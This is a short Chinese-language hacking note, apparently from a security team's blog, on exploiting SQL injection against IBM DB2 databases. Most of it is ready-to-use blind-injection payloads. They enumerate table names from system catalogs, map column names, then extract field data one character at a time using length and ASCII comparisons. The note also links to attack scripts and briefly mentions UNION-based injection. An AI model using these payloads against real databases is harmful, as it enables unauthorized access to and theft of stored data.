Author:SuperHei_[At]_ph4nt0m.org Blog:http://superhei.blogbus.com/ Team:http://www.ph4nt0m.org
DB2系统目录视图里(public有select权限)的包含了当前用户的当前库所有表和列的信息如SYSCAT.TABLES(表)、SYSCAT.COLUMNS(列,包括了列
所在的表名)。还有系统表 SYSIBM.SYSTABLES(保存了当前库所有表名)、SYSIBM.SYSCOLUMNS(保存了当前库所有列名)等。
1、Blind Injection
Step1: 列遍表SYSIBM.SYSTABLES(或者SYSCAT.TABLES)/列名SYSIBM.SYSCOLUMNS(或者SYSCAT.COLUMNS) :
and length((SELECT NAME from SYSIBM.SYSTABLES where name not in ('HEIGE') fetch first 1 rows only))=16 得到第1个表名的长度 and ASCII((SELECT (SUBSTR(NAME,1,1)) from SYSIBM.SYSTABLES where name not in ('HEIGE') fetch first 1 rows only))=65 得到第1个
表名的第1个字母为A .......
Step2: 匹配对应的表列名(SYSCAT.COLUMNS)
and (select max(COLNo) from SYSCAT.columns where tabname='AA_PREP_FI_DEP_INFO')=2 表AA_PREP_FI_DEP_INFO存在个2列名 and length((select COLNAME from SYSCAT.columns where tabname='AA_PREP_FI_DEP_INFO' and colno=0))=6 第1个列长度为6 AND ASCII((SELECT (SUBSTR(COLNAME,1,1)) from SYSCAT.columns where tabname='AA_PREP_FI_DEP_INFO' and colno=0))=82 得到第1个列
的列名第1个字母为R .......
step3: 猜解数据 AND length((SELECT DEP_NAME FROM AA_PREP_HR_DEP_INFO where rec_no=1))=6 得到rec_no=1的表的DEP_NAME长度为6 AND ascii((SELECT (SUBSTR(DEP_NAME,1,1)) FROM AA_PREP_HR_DEP_INFO where rec_no=1))=215 得到第1个字母的ascii码为215 .......
附件: step1.pl [1] step2.pl [2] step3.pl [缺]
2、uinon select 条件: a、前后列数相同 b、对应列类型相同
所以在一般的情况下,比较难利用。
[1] http://superhei.blogbus.com/files/1140957711.pl [2] http://superhei.blogbus.com/files/1140957722.pl
参考 《DB2 信息中心》 http://publib.boulder.ibm.com/infoc...uw/v8/index.jsp
Thx X-laser cloie .... and all guys from
|